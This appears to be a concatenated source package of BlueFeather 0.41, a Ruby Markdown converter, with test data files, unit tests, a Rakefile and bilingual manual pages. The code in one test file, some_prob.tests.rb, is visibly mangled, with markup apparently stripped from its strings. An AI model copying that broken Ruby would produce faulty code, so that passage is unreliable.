[inquisitive insects][2]. Each tale presents a moral quandry, which the ants are quick to solve with their antly wisdom and know-how. Some of the moral lessons presented are: * Laundry: How not to get caught in soiled knickers. * Used Ticket Stubs and Their Impact on the Universe * I'm Keeping a Birdhouse in my Attic Use of Metaphor --------------- The author's splended use of metaphor can be attributed to her growing up in a art-supply store. Her characters are richly outlined, but her unusual descriptions can sometimes be a bit jarring in places, such as her description of the old caretaker that lives inside a hollow tree in her yard: > His skin was smooth like Magnani Pescia 100% acid-free cold pressed > 22x30" Soft White Paper, with fine hair like the bristles of a Habico > Lasur Superb Oil Glazing Brush Size 10. [1]: http://www.azureva.com/gb/italie/mags/grand-canal.php3 (Venice: The Grand Canal) [2]: http://www.fortunecity.com/emachines/e11/86/tourist4d.html bluefeather-0.41/original-tests/data/ml-announce.txt0000644000004100000410000000116012122140072022573 0ustar www-datawww-dataHi, I'd like to announce the alpha release of a Markdown library for [Ruby][1] called "BlueCloth". It's mostly a direct port of the most recent Perl version, minus the various plugin hooks and whatnot. More information can be found on [the project page][2], or feel free to ask me directly. I don't have much in the way of a demo yet, but will be working on getting something set up in the coming days. [1]: http://www.ruby-lang.org/ [2]: http://bluecloth.rubyforge.org/ -- Michael Granger Rubymage, Believer, Architect The FaerieMUD Consortium bluefeather-0.41/original-tests/data/re-overflow.txt0000644000004100000410000000566412122140072022643 0ustar www-datawww-data* xx xxxxxxx xx xxxxxx. * xxx xxxxxxx xxxx xx xxxxxxxxxxx xx: * xxxxxxx xxxxxxx: xxxxx xxxx xxxx xxxxxxx xxxxxxx xxxxxxxx xxxxxx xx xxxxxxx xxx xxxxxxxxx, xxx x xxxxx xxxxx xxx xxxxxxxx xx xxx xxxxxx xxxx xxx xx xxxxxxxxx xx xxxx. xxxxx xxxxxxx xx xxx xxxx xx xx xxxxxxxxx, xxx xxxx xxxxxx xx xxxxxxx xxxx xxx xxxxxxx'x xxxxxx xxx. xx xxxxxxxx xxxxxxxxxxxxx xxxxxxxx. * xxxxxxxxx xxxxxxx: xxxxx xxxx xxx xxxxx xx xxxxx xxx xxxxxxxx xxxxxxxxx xx xxx xxxxxxxx, xxx xxxxx xxxxx xxxx xxxx xxxxx xxxxxxxxxxxx xx xxx xxxxxxxxxxx xxxx xxx xx xxxxxxxxx xx xxxx. xxxxx xxxxxxx xxx xx xxxxxxxxx xxxxxx xxx-xxxx xxxxx (xx xx xxxxxxxxxx) xx, xx xxxxxxxxx xxxxxxxx xxxxxxx xx xxxxxxxx xx xxxxxx xxx xxxxxxx xxxxxxx xx xxx xxxxxxx, xxxxxx xxx xxxx xxx. xxxxx xxxxxxxxxx xxx xxxx xxxx xx xxxxxxxxx xxx xx xxxxx xxx xxxxx xxxxx xxx xxxx xxx xxxx xxxxxxxxx. xxxxxxxx xxxxxxxxxxxxx xxx xxxx-xxxxxxxxx, xxxx xx xxxxxx xxx xxxx. * xxxxx xxxxxxx: xxxxx xxxx xxxxxx xxxx xxxxxxx xx xxxxxxx x xxxxxxxxxxx xxxxxx, xxxxxxx xx xxxxxxx xxxxxxxxxxxx. xxxxx xxxxxxx xxxx xx xxxxxxxxx xxxxxx xxx-xxxx xxxxx. xxxxxx xxxxxxxxx xxx x xxxx xxxxxxxxx, xxxx xx x-xxxx. * xxxx xxx x xxxxxx xxxxxxx xxxx: xxxxx xxxxxxx xxxx xx xxxxxxxx, xxx xxxxxxx xxx xxx xxxxxx, xxx xxxxx, xxx xxxxxxxxx xxx xxxxxxx xxxx xxx xxxxxxx xxxxxxxx xxxx, xxx xxxx-xxx xxxx, xxx xxxxxxxx xx xxx xxxx, xxx xxx xxxxxxxx xx xxx xxxxxxxxx xxxx-xxx. * xxx xxxxxxxxxxxx xxxxxxxxxxx (x.x.x. xxx xxxxxxxx xx xxxxxxx xxxxxxxx, xx xxxxxxxx xxxxxx, xxx.), xxx xxxxxxx xxxxxxxxxxx xx x xxxxxx xxxxxxx xxxx xxxx xx xxxxxxxxx: x xxxx-xxxxxx xx xxxx-xxxxx xxxxxxxx xx xxx xxxxxxxxxx. * xxx xxx xxxx xxxxxxx xxx, xx xxxxx xxxxxx xx xxxx xx xxx xxxxxxx'x xxxxxx xxx. xxxxxxxx xxxxxxx xxxxxx xx xxxx xxx xxxxxxx xxxxxxx. x xxxxxx xxx xxx xxxxxxx xxxx xx xxxx xx xxxxxxxx. xxxxx xxxxxxxxxxxxx xxxxxx xx x xxxxxx xxxx xx xxxxxxx xxxx xxxx xxxxxx'x xxxxxx xxx xxx xxxx xxxxxxx xxx xxxxxxxxx xxxxxxxxxxx: * xxxxxxxxx xx xxxxxx xxxxxxx xxxxxx xxxx xxxxxx (xx xxxxx xxxxxx xx xx xxxxxxxxxx). * xxxxxxxxxxx xx xxxx xxxxxxx xxx. * xxxx xx xxxxx xxxxxxx xx xxx xxxxxx. * xxxx xxx xxxx xx xxxxxx xx xxxx-xx-xx xx:xx xxx (xx xxx) xxxxxx. * xxxx xxx xxxxxxxx xx xxxxxxxxxxx xx xxxxxx. * xxxxxx xx xxxxxxx xxxx xx xxxxxxxx xxxxxxx xxx xxxx xxxx xx xxxxxx xxxxx-xxxxxxxxxxxx xxxxxx xxxxxxxxxx xxxxxxx. xxxxxxxx xxxxxxx xxx xx xxxxxxxx xx xxxxxxxxxxx xx xxxx xxxx. * xx x xxxxx xxxx: * xxxx xxxxxxx xxxxxx xxxx x xxxxx-xxx xxx xxxxxx xxxxxxx, xxxxxxxx xxxxxxx, xxx xxxxxxxx xxxxx xxxxxxx xxxx xxxxxxxx xxxxxxx, xx xxx xxx. xxxxxxx, xxxx xxxxxx xxx xxxx xx xxx xxxxxxx xx xxx xxxxxx xx xxx xxxxxxx xxxxxx -- xxxxx xxx, xx xxxxx xxxxxx xxxxx xx xxxxx xxx xxxx xxxxxxxx -- xxx xxxx xxxxx xxx xxx xxxxxxxx xx xxxxxxxxx xxxxxx-xxxxxxxx xxxxxxxx. bluefeather-0.41/original-tests/data/re-overflow2.txt0000644000004100000410000002351312122140072022716 0ustar www-datawww-dataiFotobilder will be an iPhoto export plugin that will let you manage your Fotobilder pictures through iPhoto. ## Getting Started Since iPhoto's APIs aren't public, and because my Objective C is extremely rusty, I wanted a couple of examples of other people's plugins before I dove into this. Here's what I found: * [Writing Plugins for Cocoa][1] [1]: http://www.stone.com/The_Cocoa_Files/Writing_PlugIns.html ## The iPhoto Export API Using the `class-dump` tool, I dumped the export API: /* * Generated by class-dump 3.0. * * class-dump is Copyright (C) 1997-1998, 2000-2001, 2004 by Steve Nygard. */ /* * File: /Applications/iPhoto.app/Contents/MacOS/iPhoto */ @protocol ExportImageProtocol - (unsigned int)imageCount; - (BOOL)imageIsPortraitAtIndex:(unsigned int)fp20; - (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16; - (unsigned int)imageFormatAtIndex:(unsigned int)fp16; - (id)imageCaptionAtIndex:(unsigned int)fp16; - (id)imagePathAtIndex:(unsigned int)fp16; - (id)thumbnailPathAtIndex:(unsigned int)fp16; - (id)imageDictionaryAtIndex:(unsigned int)fp16; - (float)imageAspectRatioAtIndex:(unsigned int)fp16; - (id)albumName; - (id)albumMusicPath; - (unsigned int)albumCount; - (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp16; - (id)window; - (void)enableControls; - (void)disableControls; - (void)clickExport; - (void)startExport; - (void)cancelExport; - (void)cancelExportBeforeBeginning; - (id)directoryPath; - (id)temporaryDirectory; - (BOOL)doesFileExist:(id)fp16; - (BOOL)doesDirectoryExist:(id)fp16; - (BOOL)createDir:(id)fp16; - (id)uniqueSubPath:(id)fp12 child:(id)fp20; - (id)makeUniquePath:(id)fp16; - (id)makeUniqueFilePath:(id)fp12 extension:(id)fp20; - (id)makeUniqueFileNameWithTime:(id)fp16; - (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp20; - (id)pathForFSSpec:(id)fp16; - (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp27; - (id)pathForFSRef:(struct FSRef *)fp16; - (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp23; - (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp23; - (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp27; - (BOOL)isAliasFileAtPath:(id)fp16; - (id)pathContentOfAliasAtPath:(id)fp16; - (id)stringByResolvingAliasesInPath:(id)fp16; - (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp20; - (id)validFilename:(id)fp16; - (id)getExtensionForImageFormat:(unsigned int)fp16; - (unsigned int)getImageFormatForExtension:(id)fp16; - (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp32; - (void *)createThumbnailer; - (void *)retainThumbnailer:(void *)fp16; - (void *)autoreleaseThumbnailer:(void *)fp16; - (void)releaseThumbnailer:(void *)fp16; - (void)setThumbnailer:(void *)fp16 maxBytes:(unsigned int)fp20 maxWidth:(unsigned int)fp24 maxHeight:(unsigned int)fp32; - (struct _NSSize)thumbnailerMaxBounds:(void *)fp16; - (void)setThumbnailer:(void *)fp12 quality:(int)fp20; - (int)thumbnailerQuality:(void *)fp16; - (void)setThumbnailer:(void *)fp12 rotation:(float)fp20; - (float)thumbnailerRotation:(void *)fp16; - (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp20; - (unsigned int)thumbnailerOutputFormat:(void *)fp16; - (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp20; - (id)thumbnailerOutputExtension:(void *)fp16; - (BOOL)thumbnailer:(void *)fp16 createThumbnail:(id)fp20 dest:(id)fp28; - (struct _NSSize)lastImageSize:(void *)fp20; - (struct _NSSize)lastThumbnailSize:(void *)fp16; @end @protocol ExportPluginBoxProtocol - (BOOL)performKeyEquivalent:(id)fp16; @end @protocol ExportPluginProtocol - (id)initWithExportImageObj:(id)fp16; - (id)settingsView; - (id)firstView; - (id)lastView; - (void)viewWillBeActivated; - (void)viewWillBeDeactivated; - (id)requiredFileType; - (BOOL)wantsDestinationPrompt; - (id)getDestinationPath; - (id)defaultFileName; - (id)defaultDirectory; - (BOOL)treatSingleSelectionDifferently; - (BOOL)validateUserCreatedPath:(id)fp16; - (void)clickExport; - (void)startExport:(id)fp16; - (void)performExport:(id)fp16; - (CDAnonymousStruct12 *)progress; - (void)lockProgress; - (void)unlockProgress; - (void)cancelExport; - (id)name; - (id)description; @end @interface ExportController : NSObject { id mWindow; id mExportView; id mExportButton; id mImageCount; ExportMgr *mExportMgr; ExportMgrRec *mCurrentPluginRec; ProgressController *mProgressController; BOOL mCancelExport; NSTimer *mTimer; NSString *mDirectoryPath; } - (void)awakeFromNib; - (void)dealloc; - (id)currentPlugin; - (id)currentPluginRec; - (void)setCurrentPluginRec:(id)fp12; - (id)directoryPath; - (void)setDirectoryPath:(id)fp12; - (void)show; - (void)_openPanelDidEnd:(id)fp12 returnCode:(int)fp16 contextInfo:(void *)fp20; - (id)panel:(id)fp12 userEnteredFilename:(id)fp16 confirmed:(BOOL)fp20; - (BOOL)panel:(id)fp12 shouldShowFilename:(id)fp16; - (BOOL)panel:(id)fp12 isValidFilename:(id)fp16; - (BOOL)filesWillFitOnDisk; - (void)export:(id)fp12; - (void)_exportThread:(id)fp12; - (void)_exportProgress:(id)fp12; - (void)startExport:(id)fp12; - (void)finishExport; - (void)cancelExport; - (void)cancel:(id)fp12; - (void)enableControls; - (id)window; - (void)disableControls; - (void)tabView:(id)fp12 willSelectTabViewItem:(id)fp16; - (void)tabView:(id)fp12 didSelectTabViewItem:(id)fp16; - (void)selectExporter:(id)fp12; - (id)exportView; - (BOOL)_hasPlugins; - (void)_resizeExporterToFitView:(id)fp12; - (void)_updateImageCount; @end @interface ExportMgr : NSObject { ArchiveDocument *mDocument; NSMutableArray *mExporters; Album *mExportAlbum; NSArray *mSelection; ExportController *mExportController; } + (id)exportMgr; + (id)exportMgrNoAlloc; - (id)init; - (void)dealloc; - (void)releasePlugins; - (void)setExportController:(id)fp12; - (id)exportController; - (void)setDocument:(id)fp12; - (id)document; - (void)updateDocumentSelection; - (unsigned int)count; - (id)recAtIndex:(unsigned int)fp12; - (void)scanForExporters; - (unsigned int)imageCount; - (BOOL)imageIsPortraitAtIndex:(unsigned int)fp12; - (id)imagePathAtIndex:(unsigned int)fp12; - (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16; - (unsigned int)imageFormatAtIndex:(unsigned int)fp12; - (id)imageCaptionAtIndex:(unsigned int)fp12; - (id)thumbnailPathAtIndex:(unsigned int)fp12; - (id)imageDictionaryAtIndex:(unsigned int)fp12; - (float)imageAspectRatioAtIndex:(unsigned int)fp12; - (id)albumName; - (id)albumMusicPath; - (unsigned int)albumCount; - (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp12; - (id)imageRecAtIndex:(unsigned int)fp12; - (id)currentAlbum; - (void)enableControls; - (void)disableControls; - (id)window; - (void)clickExport; - (void)startExport; - (void)cancelExport; - (void)cancelExportBeforeBeginning; - (id)directoryPath; - (void)_copySelection:(id)fp12; - (id)temporaryDirectory; - (BOOL)doesFileExist:(id)fp12; - (BOOL)doesDirectoryExist:(id)fp12; - (BOOL)createDir:(id)fp12; - (id)uniqueSubPath:(id)fp12 child:(id)fp16; - (id)makeUniquePath:(id)fp12; - (id)makeUniqueFilePath:(id)fp12 extension:(id)fp16; - (id)makeUniqueFileNameWithTime:(id)fp12; - (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp16; - (id)pathForFSSpec:(id)fp12; - (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp20; - (id)pathForFSRef:(struct FSRef *)fp12; - (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp16; - (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp16; - (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp20; - (BOOL)isAliasFileAtPath:(id)fp12; - (id)pathContentOfAliasAtPath:(id)fp12; - (id)stringByResolvingAliasesInPath:(id)fp12; - (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp16; - (id)validFilename:(id)fp12; - (id)getExtensionForImageFormat:(unsigned int)fp12; - (unsigned int)getImageFormatForExtension:(id)fp12; - (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp36; - (void *)createThumbnailer; - (void *)retainThumbnailer:(void *)fp12; - (void *)autoreleaseThumbnailer:(void *)fp12; - (void)releaseThumbnailer:(void *)fp12; - (void)setThumbnailer:(void *)fp12 maxBytes:(unsigned int)fp16 maxWidth:(unsigned int)fp20 maxHeight:(unsigned int)fp24; - (struct _NSSize)thumbnailerMaxBounds:(void *)fp16; - (void)setThumbnailer:(void *)fp12 quality:(int)fp16; - (int)thumbnailerQuality:(void *)fp12; - (void)setThumbnailer:(void *)fp12 rotation:(float)fp36; - (float)thumbnailerRotation:(void *)fp12; - (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp16; - (unsigned int)thumbnailerOutputFormat:(void *)fp12; - (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp16; - (id)thumbnailerOutputExtension:(void *)fp12; - (BOOL)thumbnailer:(void *)fp12 createThumbnail:(id)fp16 dest:(id)fp20; - (struct _NSSize)lastImageSize:(void *)fp16; - (struct _NSSize)lastThumbnailSize:(void *)fp16; @end @interface ExportMgrRec : NSObject { NSString *mPath; NSBundle *mBundle; id mPlugin; struct _NSSize mViewSize; } - (void)dealloc; - (BOOL)isEqual:(id)fp12; - (id)description; - (id)initWithPath:(id)fp12; - (id)path; - (id)bundle; - (id)bundleInfo; - (BOOL)isValidExportPlugin; - (BOOL)loadPlugin; - (id)exportPlugin; - (void)unloadPlugin; - (id)view; - (struct _NSSize)viewSize; - (void)setPath:(id)fp12; - (void)setBundle:(id)fp12; @end bluefeather-0.41/original-tests/00_Class.tests.rb0000644000004100000410000000135212122140072021742 0ustar www-datawww-data#!/usr/bin/ruby # # Unit test for the BlueFeather class object # $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $ # # Copyright (c) 2004 The FaerieMUD Consortium, 2009 Dice. # # Changes: [2009-02-14] adapt to BlueFeather if !defined?( BlueFeather ) || !defined?( BlueFeather::TestCase ) require 'pathname' $LOAD_PATH << Pathname.new(__FILE__).dirname.expand_path.to_s require 'bftestcase' end ### This test case tests ... class BlueFeatherClassTestCase < BlueFeather::TestCase TestString = "foo" def test_01_instantiation printTestHeader "BlueFeather: Instantiation" rval = nil # With no argument... ("") assert_nothing_raised { rval = BlueFeather::Parser.new } end end bluefeather-0.41/original-tests/some_prob.tests.rb0000644000004100000410000000503512122140072022365 0ustar www-datawww-data#!/usr/bin/ruby # additional test: since BlueFeather 0.32 if !defined?( BlueFeather ) || !defined?( BlueFeather::TestCase ) require 'pathname' $LOAD_PATH << Pathname.new(__FILE__).dirname.expand_path.to_s require 'bftestcase' end ### This test case tests ... class SubfunctionsTestCase < BlueFeather::TestCase def test_termination_of_meta_tag result = BlueFeather.parse_document('').split("\n"). grep(/^1986\. What a great season.
EOS assert_equal(expected.chomp, result) end def test_header_tag_containing_colon_at_begining_of_doc bfdoc = '

hdr:level1

' result = BlueFeather.parse_document(bfdoc).split("\n"). grep(/^

or `gem install rake` with RubyGems # Exerb - # Info-Zip - If you use Windows, you can get it from GnuWin32 # # Rspec - `gem install rspec` with RubyGems #----------------------------------------------------------- require 'rake/testtask' require 'rubygems/package_task' require 'rake/clean' # Adaptable to both RSpec 1 and 2 rspec_version = nil begin # for RSpec 2 require 'rspec/core/rake_task' rspec_version = 2 rescue LoadError begin # for RSpec 1 require 'spec/rake/spectask' rspec_version = 1 rescue LoadError puts "RSpec is not available." end end $KCODE = 'u' unless defined?(Encoding) $LOAD_PATH.unshift './lib' require 'bluefeather' ZIP_NAME = "pkg/bluefeather-#{BlueFeather::VERSION}.zip" CLOBBER.include 'sample/*.html' CLOBBER.include 'doc/**/*.html' # setup.rb CLEAN.include('InstalledFiles', '.config', 'bin/bluefeather.bat') PACKAGED = FileList.new PACKAGED.include('readme*.txt') PACKAGED.include('setup.rb') PACKAGED.include('Rakefile.rb') PACKAGED.include('bin/**/*') PACKAGED.include('lib/bluefeather.rb') PACKAGED.include('lib/bluefeather/*.rb') PACKAGED.include('license/**/*') PACKAGED.include('spec/**/*') PACKAGED.include('original-tests/**/*') PACKAGED.include('doc/**/*.*') PACKAGED.exclude('doc/**/format-extension-spec.*') task :default => :package desc 'Package to zip.' task :package => [:doc, ZIP_NAME] desc 'Clobber and package.' task :repackage => [:clobber, :package] file ZIP_NAME => PACKAGED do |task| mkpath 'pkg' src_list = task.prerequisites.map{|x| %Q|"#{x}"|}.join(' ') sh "zip -q #{task.name} #{src_list}" puts "#{task.name} maked. (#{File.size(task.name) / 1024} KB)" end DOCS = [] Dir.glob('doc/**/*.bfdoc').each do |src| dest = src.sub(/\.bfdoc$/, '.html') DOCS << dest file dest => src do html = BlueFeather.parse_document_file(src) open(dest, 'w'){|f| f.write(html)} puts "#{src} => #{dest}" end end desc 'Convert documents, bfdoc -> html' task :doc => DOCS task :sample => 'sample/sample.html' file 'sample/sample.html' => 'sample/sample.bfdoc' do |task| html = BlueFeather.parse_document_file(task.prerequisites.first) open(task.name, 'w'){|f| f.write(html)} puts "#{task.prerequisites.first} => #{task.name}" end GEM_PACKAGED = PACKAGED.dup GEM_PACKAGED.exclude('setup.rb') spec = Gem::Specification.new do |s| s.platform = Gem::Platform::RUBY s.summary = "Extend Markdown Converter" s.author = 'Dice' s.email = 'tetradice@gmail.com' s.homepage = 'http://ruby.morphball.net/bluefeather/' s.name = 'bluefeather' s.rubyforge_project = 'bluefeather' s.has_rdoc = false s.required_ruby_version = '>= 1.8.1' s.version = BlueFeather::VERSION s.files = GEM_PACKAGED s.executables = ['bluefeather'] s.description = < [:spec, 'original-test'] end bluefeather-0.41/doc/0000755000004100000410000000000012122140072014510 5ustar www-datawww-databluefeather-0.41/doc/index.html0000644000004100000410000000407612122140072016514 0ustar www-datawww-data BlueFeather マニュアル

BlueFeather マニュアル

English version

(2013-02-12 バージョン 0.41 準拠)

BlueFeather は、拡張 Markdown 記法で書かれたテキストを html に変換するソフトウェアです。 コマンドラインツールと、Ruby スクリプト内で変換を行うためのライブラリがセットになっています。

広く使われている Markdown 実装である BlueCloth 1.0.0 をベースとしつつ、既知のバグの修正やインターフェースの変更、そして記法・機能へのさまざまな拡張を施しています。

なお、このマニュアルページそのものも、 BlueFeather を用いて生成された html 文書です。変換前のテキストファイルは doc ディレクトリ内に同梱しています。

bluefeather-0.41/doc/encoding-rule.bfdoc0000644000004100000410000000327212122140072020246 0ustar www-datawww-dataTitle: エンコーディングの取り扱い - BlueFeather マニュアル CSS: black.css エンコーディングの取り扱い ==== {toc} 1. HTML片へ変換するとき ---- (拡張子 *.bftext のファイル変換、parse_text による変換など) 特殊な処理を行いません。ruby 1.8.x 以前であればそのときの $KCODE が、ruby 1.9.x 以降であれば文字列の持つエンコーディングが反映されます。 `bluefeather` コマンドでは、-e (--encoding) オプションの指定に従います。指定がなければ UTF-8 です。 2. 完全なHTML文書へ変換するとき ---- (拡張子 *.bfdoc のファイル変換、parse_document による変換など) 以下の優先順序に従います。 1. 文書メタデータの Encoding ヘッダ(最優先) 2. 変換時に指定したエンコーディング 3. UTF-8 「1. 文書メタデータの Encoding ヘッダ」についての詳細は、[メタデータリファレンス](metadata-reference.html)内の[説明](metadata-reference.html#encoding)を参照してください。 「2. 変換時に指定したエンコーディング」とは、以下のものを指します。 * `bluefeather` コマンドによる変換時は、 -e (--encoding) オプションで指定したエンコーディング。 * [`parse_document`](class-reference.html#parse_document) メソッドや [`parse_document_file`](class-reference.html#parse_document) メソッドによる変換時は、メソッドの第二引数(default_enc)で指定したエンコーディング。 bluefeather-0.41/doc/en/0000755000004100000410000000000012122140072015112 5ustar www-datawww-databluefeather-0.41/doc/en/index.html0000644000004100000410000000351212122140072017110 0ustar www-datawww-data BlueFeather Manual

BlueFeather Manual

-> Japanese version (original)

(2013-02-12: this document based on version 0.41)

BlueFeather is software for converting text written by extended Markdown like PHP Markdown Extra to html. It is pair of command-line tool and pure Ruby library.

BlueFeather is based on BlueCloth 1.0.0. And that, some extensions is added -- known bug fix, changing interface and extension of Markdown syntax.

By the way, these html-documents are generated by BlueFeather. Original text files are in the directory, 'doc/en/'.

bluefeather-0.41/doc/en/encoding-rule.bfdoc0000644000004100000410000000227112122140072020646 0ustar www-datawww-dataEncoding: ascii Title: Encoding Rule - BlueFeather Manual CSS: black.css Encoding Rule ==== {toc} 1. Converting to html part ---- (converting *.bftext files, parsing by `parse_text` or others.) BlueFeather doesn't specially treat. If ruby 1.8.x ealier, it is based on $KCODE value then. Else if ruby 1.9.x later, it is based on encoding which String object has. When you use `bluefeather` command, it is based on -e (--encoding) option. Default is UTF-8. 2. Converting to html document ---- (converting *.bfdoc files, parsing by `parse_document` or others.) BlueFeather uses the following order. 1. Encoding header of document metadata (PRIMARY) 2. Specified encoding at convert 3. UTF-8 If you want to know about encoding header, see the [Metadata reference](metadata-reference.html). You can specify encoding. If you use `bluefeather` command, you must use -e (--encoding) option for it. If you use with [`parse_document`](class-reference.html#parse_document) or [`parse_document_file`](class-reference.html#parse_document), you must use 2nd argument of these methods for it. bluefeather-0.41/doc/en/index.bfdoc0000644000004100000410000000257112122140072017225 0ustar www-datawww-dataEncoding: ASCII Title: BlueFeather Manual CSS: black.css BlueFeather Manual ==== -> [Japanese version (original)](../index.html) (2013-02-12: this document based on version 0.41) BlueFeather is software for converting text written by extended Markdown like [PHP Markdown Extra][] to html. It is pair of command-line tool and pure Ruby library. BlueFeather is based on [BlueCloth 1.0.0][]. And that, some extensions is added -- known bug fix, changing interface and extension of Markdown syntax. By the way, these html-documents are generated by BlueFeather. Original text files are in the directory, '`doc/en/`'. * [Installing and Basic Usage](basic-usage.html) * [Difference from BlueCloth](difference.html) * [Markdown Syntax Extension](format-extension.html) * [Encoding Rule](encoding-rule.html) ~ * Class Reference (Not translated yet. see the [Japanese version](../class-reference.html)) * Metadata Reference (Not translated yet. see the [Japanese version](../metadata-reference.html)) ~ * [Author and License](author-and-license.html) * [BlueFeather Website (http://ruby.morphball.net/bluefeather/index_en.html)](http://ruby.morphball.net/bluefeather/index_en.html) [BlueCloth 1.0.0]: http://www.deveiate.org/projects/BlueCloth [PHP Markdown Extra]: http://michelf.com/projects/php-markdown/extra/ bluefeather-0.41/doc/en/metadata-reference.html0000644000004100000410000000102412122140072021511 0ustar www-datawww-data Metadata Reference - BlueFeather Manual

(Not translated yet. see the Japanese version)

bluefeather-0.41/doc/en/difference.html0000644000004100000410000000604012122140072020072 0ustar www-datawww-data Difference from BlueCloth - BlueFeather Manual

Difference from BlueCloth

Markdown Syntax Extension

BlueFeather has imported some extension of syntax from PHP Markdown Extra -- definition list, table, and others. And that, BlueFeather has been added original extension -- TOC generation and block separator. See the Markdown Syntax Extension.

Change of Interface

BlueCloth
require 'bluecloth'

puts BlueCloth.new(str).to_html
BlueFeather
require 'bluefeather'

puts BlueFeather.parse(str)

See the Installing and Basic Usage.

Generating Entire HTML Document

Imported by Maruku, BlueFeather can generate entire html document not only html fragment. And that, document metadata enables to specify title and URL of css-stylesheet.

See the Installing and Basic Usage and Metadata Reference.

Bug Fix to BlueCloth 1.0.0

These bugs are fixed on BlueFeather.

  1. Some Regexp is set encoding of Shift-JIS.
  2. '<mail+address@example.com>' is not parsed such as mailto-anchor. (ex: GMail alias charcters)
  3. Link id definition indented 4-or-more spaces or tab is not parsed such as code block.
  4. <hr /> indented 4-or-more spaces or tab is not parsed such as code block.

Change of EmptyElementSuffix

BlueCloth output empty element tags, <tag/>. Instead BlueFeather output <tag />.

bluefeather-0.41/doc/en/black.css0000644000004100000410000000312512122140072016701 0ustar www-datawww-data@import "base.css"; body { color : #c0c0e0; background : #000000; scrollbar-3d-light-color : black; scrollbar-arrow-color : white; scrollbar-base-color : black; scrollbar-dark-shadow-color : black; scrollbar-face-color : black; scrollbar-highlight-color : #666666; scrollbar-shadow-color : gray; } strong{ color:#ffff00; } h2,h3{ border : thin outset #202070; } h2{ background : #202070; } h3{ margin-left: 0.5em; background : #101050; } h2, h3, h4{ color : #ffffff; padding : 0.2em; } h4{ margin-left: 1.0em; } pre{ border: solid thin #202070; background-color: #000000; overflow:auto; font-size: smaller; } table { border : none; } th,td { padding : 0.2em; } th { background : #303060; border : outset 1px #303060; } td{ background : #000000; border : solid 1px #404080; } th.empty,td.empty{ background : transparent; } table.clear, table.clear th, table.clear td { border : none; background : transparent; } blockquote{ color: #9999cc; border: solid 1px #669999; } hr{ border-width: 0 0; border-color: #669999; padding: 0; height: 1px; color: #669999; background-color: #669999; width: 90%; } em{ font-style: italic; } a { } a:link { color : #00ff00; } a:visited{ color : #00c800; } a:link:hover { background : green; text-decoration: none; } a:visited:hover { background : green; text-decoration: none; } input, textarea{ color : #c0c0e0; background-color : black; } BUTTON{ color: #ffffff; border : thin outset #f8f8ff; background-color : #a9a9a9; }bluefeather-0.41/doc/en/basic-usage.html0000644000004100000410000002346012122140072020170 0ustar www-datawww-data Installing and Basic Usage - BlueFeather Manual

Installing and Basic Usage

This document describes only usage of the software. If you want to know about syntax, see Markdown Syntax Extension.

Install

Run setup.rb. Then required files will be copied and installing will be complete.

% ruby setup.rb

Or use RubyGems.

% gem install bluefeather

Use by Command-line

Basic

If installing is correctly completed, you can use bluefeather command. This command convert Markdown text to html.

bluefeather [options] file1 [file2] [file3] ...
% bluefeather *.bftext
example1.bftext => example1.html (4240 byte)
example2.bftext => example2.html (5613 byte)
example3.bftext => example3.html (10499 byte)
%

Option for Forcing to Convert (--force)

In default, bluefeather command converts only input files that were modified.

% bluefeather example1.bftext
example1.bftext => example1.html (4240 byte)
% bluefeather example1.bftext
%

If you want to convert all files despite modified time of them, use --force option.

% bluefeather example1.bftext
example1.bftext => example1.html (4240 byte)
% bluefeather --force example1.bftext
example1.bftext => example1.html (4240 byte)
%

If you know better about other options, see the section of Command-line Option.

Extname Switch

bluefeather command switches by extname of an input file how generate a html file.

.md, .bfdoc
generate html document
others
generate html part

For example, see the text.

test paragraph.

If this text is named 'test1.bftext', bluefeather generates test1.html such as this.

<p>test paragraph.</p>

But this text is named 'test1.bfdoc', generated html is changed.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>no title (Generated by BlueFeather)</title>
</head>
<body>

<p>test paragraph.</p>

</body>
</html>

If the converted document is include h1 element, BlueFeather use it's content for title of html document.

test2.bfdoc
Test Document
=============

test paragraph.
test2.html (output)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Test Document</title>
</head>
<body>

<h1 id="bfheader-a5decd745d43af4aa8cf62eef5be43ac">Test Document</h1>

<p>test paragraph.</p>

</body>
</html>

Document Metadata

You can add document metadata to files which have extname .bfdoc or .md

test3.bfdoc
Title: Test Document
CSS: style.css

Test paragraph.
test3.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Test Document</title>
<link rel="stylesheet" type="text/css" href="style.css" />
</head>
<body>

<p>Test paragraph.</p>

</body>
</html>

